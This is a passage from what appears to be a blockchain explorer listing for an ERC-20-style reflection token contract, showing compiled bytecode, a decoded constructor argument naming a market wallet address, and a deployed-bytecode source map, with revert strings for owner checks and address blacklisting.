040902054610e0490610b2d565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d659082611b69565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a60918590610ac29086906129d2565b5f546001600160a01b03163314610ef65760405162461bcd60e51b8152600401610b069061294e565b6040514790339082156108fc029083905f818181858888f19350505050158015610d65573d5f803e3d5ffd5b5f546001600160a01b03163314610f4b5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fc15760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b06565b81610fdc575f610fd2846001611b7d565b519150610a649050565b5f610fe8846001611b7d565b602001519150610a649050565b5f546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610b069061294e565b5f5b8181101561108357600160065f85858581811061103f5761103f612983565b90506020020160208101906110549190612798565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611020565b505050565b5f546001600160a01b031633146110b15760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110fa5760405162461bcd60e51b8152600401610b069061294e565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111375760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381165f9081526007602052604090205460ff161561119f5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b06565b6001600160a01b0381165f90815260036020526040902054156111f6576001600160a01b0381165f908152600360205260409020546111dd90610b2d565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112845760405162461bcd60e51b8152600401610b069061294e565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112c457506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113085760405162461bcd60e51b8152600401610b069061294e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113795760405162461bcd60e51b8152600401610b069061294e565b601b93909355601c91909155601d55601e55565b5f835f0361139c57505f610ad6565b5f6113a785426129ab565b9050600f5481036113bc576001915050610ad6565b805f036113e1576010546001600160a01b038481169116146113e1575f915050610ad6565b8381116113f2576001915050610ad6565b505f949350505050565b5f610a603384610ac285604051806060016040528060258152602001612a4460259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b3e565b5f6114553384846118cd565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114925760405162461bcd60e51b8152600401610b069061294e565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461154d5760405162461bcd60e51b8152600401610b069061294e565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061159a90831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115ce5760405162461bcd60e51b8152600401610b069061294e565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116155760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461165e5760405162461bcd60e51b8152600401610b069061294e565b6001600160a01b0381166116c35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b06565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117455760405162461bcd60e51b8152600401610b069061294e565b5f5b81811015611083576001600a5f85858581811061176657611766612983565b905060200201602081019061177b9190612798565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611747565b6001600160a01b03831661180c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b06565b6001600160a01b03821661186d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b06565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561190d57506001600160a01b0382165f908152600a602052604090205460ff16155b6119595760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610b06565b6001600160a01b0383166119bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b06565b6001600160a01b038216611a1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b06565b5f8111611a805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b06565b611a8983611289565b811115611af15760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610b06565b6001600160a01b0383165f908152600660205260409020546110839084908490849060ff1680611b3857506001600160a01b0386165f9081526006602052604090205460ff165b15611bc5565b5f8184841115611b615760405162461bcd60e51b8152600401610b069190612720565b505050900390565b5f610ad6836001600160a01b038416612173565b611b856126d1565b611b8f8383612256565b9050611ba4818484611b9f612334565b612355565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d8c576023546001600160a01b0390811690851603611c97575f546001600160a01b03858116911614801590611c0b57505f546001600160a01b03848116911614155b8015611c2157506001600160a01b038316600114155b15611c5f576001600160a01b0383165f908152600860205260408120549003611c5f576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e04565b5f546001600160a01b03858116911614801590611cc157505f546001600160a01b03848116911614155b8015611cd757506001600160a01b038316600114155b15611d54576001600160a01b0384165f90815260086020526040812054611d0190600e548761138d565b905080611d385760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610b06565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e04565b6001600160a01b0384165f9081526006602052604090205460ff1615611dc857601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e0457601080546001600160a01b0319166001600160a01b0385161790555b5f611e0f8383611b7d565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e5157506001600160a01b0384165f9081526007602052604090205460ff16155b15611e96576001600160a01b0385165f90815260046020526040902054611e799084906129ab565b6001600160a01b0386165f90815260046020526040902055611fd3565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ed557506001600160a01b0384165f9081526007602052604090205460ff165b15611f1e5760c08101516001600160a01b0385165f90815260046020526040902054611f0191906129d2565b6001600160a01b0385165f90815260046020526040902055611fd3565b6001600160a01b0385165f9081526007602052604090205460ff168015611f5c57506001600160a01b0384165f9081526007602052604090205460ff165b15611fd3576001600160a01b0385165f90815260046020526040902054611f849084906129ab565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fba91906129d2565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611ff791906129ab565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461202d91906129d2565b6001600160a01b0385165f9081526003602052604090205581156120f35761205d81604001518260e001516123cc565b61207081606001518261010001516123fa565b6120838160800151826101200151612495565b6120968160a001518261014001516124c2565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120e191906129d2565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161213c91815260200190565b60405180910390a361214f600185612501565b5061215985611289565b5f0361216c5761216a600186611b69565b505b5050505050565b5f818152600183016020526040812054801561224d575f6121956001836129ab565b85549091505f906121a8906001906129ab565b9050818114612207575f865f0182815481106121c6576121c6612983565b905f5260205f200154905080875f0184815481106121e6576121e6612983565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612218576122186129be565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a64565b5f915050610a64565b61225e6126d1565b8161226f5760c08101839052610a64565b601f5460649061227f90856129e5565b61228991906129fc565b60e082015260205460649061229e90856129e5565b6122a891906129fc565b6101008201526021546064906122be90856129e5565b6122c891906129fc565b6101208201526022546064906122de90856129e5565b6122e891906129fc565b610140820181905261012082015161010083015160e084015161230b90876129ab565b61231591906129ab565b61231f91906129ab565b61232991906129ab565b60c082015292915050565b5f805f61233f612515565b909250905061234e81836129fc565b9250505090565b506001825f808080808761237657508493505f9250829150819050806123bf565b5050505060e086015161010087015161012088015161014089015180828461239e878a6129ab565b6123a891906129ab565b6123b291906129ab565b6123bc91906129ab565b94505b9499939850945094509450565b81600d546123da91906129ab565b600d55601180548291905f906123f19084906129d2565b90915550505050565b8060155f015f82825461240d91906129d2565b9091555050601280548291905f906124269084906129d2565b9091555050305f908152600360205260409020546124459083906129d2565b305f9081526003602090815260408083209390935560079052205460ff1615610d6557305f908152600460205260409020546124829082906129d2565b305f908152600460205260409020555050565b8060156001015f8282546124a991906129d2565b9091555050601380548291905f906124269084906129d2565b8060116003015f8282546124d691906129d2565b9091555050600c546124e99082906129ab565b600c55600d546124fa9083906129ab565b600d555050565b5f610ad6836001600160a01b038416612685565b600d54600c545f918291825b600b54811015612654578260035f600b848154811061254257612542612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125aa57508160045f600b848154811061258457612584612983565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c057600d54600c54945094505050509091565b60035f600b83815481106125d6576125d6612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461260490846129ab565b925060045f600b838154811061261c5761261c612983565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461264a90836129ab565b9150600101612521565b50600c54600d5461266591906129fc565b82101561267c57600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126ca57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a64565b505f610a64565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461276b575f80fd5b919050565b5f8060408385031215612781575f80fd5b61278a83612755565b946020939093013593505050565b5f602082840312156127a8575f80fd5b610ad682612755565b5f805f606084860312156127c3575f80fd5b6127cc84612755565b92506127da60208501612755565b929592945050506040919091013590565b8035801515811461276b575f80fd5b5f6020828403121561280a575f80fd5b610ad6826127eb565b5f60208284031215612823575f80fd5b5035919050565b5f806040838503121561283b575f80fd5b8235915061284b602084016127eb565b90509250929050565b5f8060208385031215612865575f80fd5b823567ffffffffffffffff81111561287b575f80fd5b8301601f8101851361288b575f80fd5b803567ffffffffffffffff8111156128a1575f80fd5b8560208260051b84010111156128b5575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128d8575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612906575f80fd5b833592506020840135915061291d60408501612755565b90509250925092565b5f8060408385031215612937575f80fd5b61294083612755565b915061284b60208401612755565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a6457610a64612997565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a6457610a64612997565b8082028115828204841417610a6457610a64612997565b5f82612a1657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd21a327d435876461441d8f0afa4c7e7eff45260fbcc1b381cfb40d9126685864736f6c634300081a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000c5436228ffe8b30fd275733d1bcc379cca98b6c9
-----Decoded View---------------
Arg [0] : marketWallet_ (address): 0xc5436228Ffe8B30fD275733d1bCc379cCa98b6C9
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c5436228ffe8b30fd275733d1bcc379cca98b6c9
Deployed Bytecode Sourcemap
11666:20648:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18035:83;;;;;;;;;;-1:-1:-1;18105:5:0;;;;;;;;;;;;-1:-1:-1;;;18105:5:0;;;;18035:83;;;;;;;:::i;:::-;;;;;;;;19405:193;;;;;;;;;;-1:-1:-1;19405:193:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;19405:193:0;920:187:1;18312:95:0;;;;;;;;;;-1:-1:-1;18392:7:0;;18312:95;;;1258:25:1;;;1246:2;1231:18;18312:95:0;1112:177:1;12304:46:0;;;;;;;;;;-1:-1:-1;12304:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19606:455;;;;;;;;;;-1:-1:-1;19606:455:0;;;;;:::i;:::-;;:::i;19110:95::-;;;;;;;;;;-1:-1:-1;19110:95:0;;;;;:::i;:::-;;:::i;:::-;;21407:262;;;;;;;;;;-1:-1:-1;21407:262:0;;;;;:::i;:::-;;:::i;18221:83::-;;;;;;;;;;-1:-1:-1;18221:83:0;;12428:1;2587:36:1;;2575:2;2560:18;18221:83:0;2445:184:1;12725:42:0;;;;;;;;;;;;;;;;17785:112;;;;;;;;;;-1:-1:-1;17785:112:0;;;;;:::i;:::-;;:::i;22444:473::-;;;;;;;;;;-1:-1:-1;22444:473:0;;;;;:::i;:::-;;:::i;22017:419::-;;;;;;;;;;-1:-1:-1;22017:419:0;;;;;:::i;:::-;;:::i;20069:297::-;;;;;;;;;;-1:-1:-1;20069:297:0;;;;;:::i;:::-;;:::i;31931:143::-;;;;;;;;;;;;;:::i;16313:164::-;;;;;;;;;;-1:-1:-1;16313:164:0;;;;;:::i;:::-;-1:-1:-1;;;;;16441:28:0;16409:7;16441:28;;;:20;:28;;;;;;;16313:164;22925:111;;;;;;;;;;-1:-1:-1;22925:111:0;;;;;:::i;:::-;;:::i;20910:489::-;;;;;;;;;;-1:-1:-1;20910:489:0;;;;;:::i;:::-;;:::i;18904:198::-;;;;;;;;;;-1:-1:-1;18904:198:0;;;;;:::i;:::-;;:::i;23721:115::-;;;;;;;;;;-1:-1:-1;23721:115:0;;;;;:::i;:::-;;:::i;14137:40::-;;;;;;;;;;-1:-1:-1;14137:40:0;;;;-1:-1:-1;;;14137:40:0;;;;;;16621:296;;;;;;;;;;-1:-1:-1;16621:296:0;;;;;:::i;:::-;;:::i;21677:332::-;;;;;;;;;;-1:-1:-1;21677:332:0;;;;;:::i;:::-;;:::i;23410:124::-;;;;;;;;;;-1:-1:-1;23410:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;23499:27:0;23475:4;23499:27;;;:18;:27;;;;;;;;;23410:124;17905:122;;;;;;;;;;-1:-1:-1;17905:122:0;;;;;:::i;:::-;;:::i;18415:177::-;;;;;;;;;;-1:-1:-1;18415:177:0;;;;;:::i;:::-;;:::i;13386:104::-;;;;;;;;;;-1:-1:-1;13386:104:0;;;;;;;;;;;;;;;;;;;4371:25:1;;;4427:2;4412:18;;4405:34;;;;4455:18;;;4448:34;4513:2;4498:18;;4491:34;4358:3;4343:19;13386:104:0;4140:391:1;8282:148:0;;;;;;;;;;;;;:::i;13274:103::-;;;;;;;;;;-1:-1:-1;13274:103:0;;;;;;;;;;;;;;;16925:301;;;;;;;;;;-1:-1:-1;16925:301:0;;;;;:::i;:::-;;:::i;20782:120::-;;;;;;;;;;-1:-1:-1;20782:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;20874:20:0;20850:4;20874:20;;;:11;:20;;;;;;;;;20782:120;13234:31;;;;;;;;;;-1:-1:-1;13234:31:0;;;;;;;;;;;;;4710:25:1;;;4766:2;4751:18;;4744:34;;;;4683:18;13234:31:0;4536:248:1;8059:87:0;;;;;;;;;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;8132:6:0;8059:87;;;-1:-1:-1;;;;;4953:32:1;;;4935:51;;4923:2;4908:18;8059:87:0;4789:203:1;18126:87:0;;;;;;;;;;-1:-1:-1;18198:7:0;;;;;;;;;;;;-1:-1:-1;;;18198:7:0;;;;18126:87;;12686:32;;;;;;;;;;;;;;;;12953:36;;;;;;;;;;-1:-1:-1;12953:36:0;;;;;;;;;;;;;;;17234:543;;;;;;;;;;-1:-1:-1;17234:543:0;;;;;:::i;:::-;;:::i;20374:400::-;;;;;;;;;;-1:-1:-1;20374:400:0;;;;;:::i;:::-;;:::i;12185:55::-;;;;;;;;;;-1:-1:-1;12185:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;18600:202;;;;;;;;;;-1:-1:-1;18600:202:0;;;;;:::i;:::-;;:::i;14036:26::-;;;;;;;;;;-1:-1:-1;14036:26:0;;;;-1:-1:-1;;;14036:26:0;;;;;;23162:240;;;;;;;;;;-1:-1:-1;23162:240:0;;;;;:::i;:::-;;:::i;23542:171::-;;;;;;;;;;-1:-1:-1;23542:171:0;;;;;:::i;:::-;;:::i;19213:184::-;;;;;;;;;;-1:-1:-1;19213:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;19362:18:0;;;19330:7;19362:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19213:184;18810:86;;;;;;;;;;-1:-1:-1;18810:86:0;;;;;:::i;:::-;;:::i;16485:128::-;;;;;;;;;;-1:-1:-1;16485:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;16578:27:0;16551:7;16578:27;;;:15;:27;;;;;;;16485:128;23044:110;;;;;;;;;;-1:-1:-1;23044:110:0;;;;;:::i;:::-;;:::i;12247:50::-;;;;;;;;;;-1:-1:-1;12247:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;13889:30;;;;;;;;;;-1:-1:-1;13889:30:0;;;;-1:-1:-1;;;;;13889:30:0;;;8438:281;;;;;;;;;;-1:-1:-1;8438:281:0;;;;;:::i;:::-;;:::i;13926:66::-;;;;;;;;;;-1:-1:-1;13926:66:0;;;;-1:-1:-1;;;;;13926:66:0;;;12776:26;;;;;;;;;;-1:-1:-1;12776:26:0;;;;-1:-1:-1;;;;;12776:26:0;;;23844:196;;;;;;;;;;-1:-1:-1;23844:196:0;;;;;:::i;:::-;;:::i;19405:193::-;19507:4;19529:39;3550:10;19552:7;19561:6;19529:8;:39::i;:::-;-1:-1:-1;19586:4:0;19405:193;;;;;:::o;19606:455::-;19738:4;19755:36;19765:6;19773:9;19784:6;19755:9;:36::i;:::-;19802:220;19825:6;3550:10;19873:138;19929:6;19873:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19873:19:0;;;;;;:11;:19;;;;;;;;3550:10;19873:33;;;;;;;;;;:37;:138::i;:::-;19802:8;:220::i;:::-;-1:-1:-1;20040:13:0;;-1:-1:-1;;;20040:13:0;;;;19606:455;;;;;;:::o;19110:95::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;;;;;;;;;19174:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;19174:23:0::1;-1:-1:-1::0;;;;19174:23:0;;::::1;::::0;;;::::1;::::0;;19110:95::o;21407:262::-;21501:7;21559;;21548;:18;;21526:110;;;;-1:-1:-1;;;21526:110:0;;6250:2:1;21526:110:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:40;6429:19;;21526:110:0;6048:406:1;21526:110:0;-1:-1:-1;21654:7:0;21407:262::o;17785:112::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;17857:17:::1;:32:::0;17785:112::o;22444:473::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22524:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22516:56;;;::::0;-1:-1:-1;;;22516:56:0;;6661:2:1;22516:56:0::1;::::0;::::1;6643:21:1::0;6700:2;6680:18;;;6673:30;6739:25;6719:18;;;6712:53;6782:18;;22516:56:0::1;6459:347:1::0;22516:56:0::1;22588:9;22583:327;22607:9;:16:::0;22603:20;::::1;22583:327;;;22665:7;-1:-1:-1::0;;;;;22649:23:0::1;:9;22659:1;22649:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;22649:12:0::1;:23:::0;22645:254:::1;;22708:9;22718:16:::0;;:20:::1;::::0;22737:1:::1;::::0;22718:20:::1;:::i;:::-;22708:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;22693:9:::1;:12:::0;;-1:-1:-1;;;;;22708:31:0;;::::1;::::0;22703:1;;22693:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;22693:46:0::1;-1:-1:-1::0;;;;;22693:46:0;;::::1;;::::0;;22758:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;22797:11:::1;:20:::0;;;;:28;;-1:-1:-1;;22797:28:0::1;::::0;;22844:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;22844:15:0;;;;;-1:-1:-1;;;;;;22844:15:0::1;::::0;;;;;22583:327:::1;22444:473:::0;:::o;22645:254::-:1;22625:3;;22583:327;;;;22444:473:::0;:::o;22017:419::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22091:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22086:250;;-1:-1:-1::0;;;;;22128:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;;;:27;;-1:-1:-1;;22128:27:0::1;22151:4;22128:27;::::0;;22174:7:::1;:16:::0;;;;;;:20;22170:117:::1;;-1:-1:-1::0;;;;;22254:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;22234:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;22215:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;22170:117:::1;22301:9;:23:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;22301:23:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;22301:23:0::1;-1:-1:-1::0;;;;;22301:23:0;::::1;;::::0;;22086:250:::1;-1:-1:-1::0;;;;;22346:27:0;::::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;22346:34:0::1;22376:4;22346:34:::0;;::::1;::::0;;;22393:35:::1;::::0;22365:7;22393:26:::1;:35::i;20069:297::-:0;3550:10;20184:4;20278:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20278:34:0;;;;;;;;;;20184:4;;20206:130;;20256:7;;20278:47;;20315:10;;20278:47;:::i;31931:143::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;32029:37:::1;::::0;31997:21:::1;::::0;32037:10:::1;::::0;32029:37;::::1;;;::::0;31997:21;;31979:15:::1;32029:37:::0;31979:15;32029:37;31997:21;32037:10;32029:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;22925:111:::0;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22994:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;22994:34:0::1;23024:4;22994:34;::::0;;22925:111::o;20910:489::-;21028:7;21072;;21061;:18;;21053:62;;;;-1:-1:-1;;;21053:62:0;;7672:2:1;21053:62:0;;;7654:21:1;7711:2;7691:18;;;7684:30;7750:33;7730:18;;;7723:61;7801:18;;21053:62:0;7470:355:1;21053:62:0;21131:17;21126:266;;21165:28;21196:25;21207:7;21216:4;21196:10;:25::i;:::-;21243:9;;-1:-1:-1;21236:16:0;;-1:-1:-1;21236:16:0;21126:266;21285:28;21316:25;21327:7;21336:4;21316:10;:25::i;:::-;21363:17;;;;-1:-1:-1;21356:24:0;;-1:-1:-1;21356:24:0;18904:198;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;18989:9:::1;18984:111;19004:19:::0;;::::1;18984:111;;;19079:4;19045:18;:31;19064:8;;19073:1;19064:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19045:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;19045:31:0;:38;;-1:-1:-1;;19045:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;19025:3:0::1;18984:111;;;;18904:198:::0;;:::o;23721:115::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23797:23:0::1;23823:5;23797:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;23797:31:0::1;::::0;;23721:115::o;16621:296::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;16778:8:::1;:18:::0;;;;16807;:30;;;;16848:18;:30;16889:13;:20;16621:296::o;21677:332::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21758:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;21757:21;21749:61;;;::::0;-1:-1:-1;;;21749:61:0;;8032:2:1;21749:61:0::1;::::0;::::1;8014:21:1::0;8071:2;8051:18;;;8044:30;8110:29;8090:18;;;8083:57;8157:18;;21749:61:0::1;7830:351:1::0;21749:61:0::1;-1:-1:-1::0;;;;;21825:16:0;::::1;21844:1;21825:16:::0;;;:7:::1;:16;::::0;;;;;:20;21821:109:::1;;-1:-1:-1::0;;;;;21901:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;21881:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;21862:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;21821:109:::1;-1:-1:-1::0;;;;;21940:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;21940:27:0::1;21963:4;21940:27:::0;;::::1;::::0;;;21978:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;21978:23:0::1;::::0;;::::1;::::0;;21677:332::o;17905:122::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;17986:13:::1;:33:::0;17905:122::o;18415:177::-;-1:-1:-1;;;;;18505:20:0;;18481:7;18505:20;;;:11;:20;;;;;;;;18501:49;;;-1:-1:-1;;;;;;18534:16:0;;;;;:7;:16;;;;;;;18415:177::o;18501:49::-;-1:-1:-1;;;;;;18568:16:0;;;;;:7;:16;;;;;;;18415:177::o;8282:148::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;8389:1:::1;8373:6:::0;;8352:40:::1;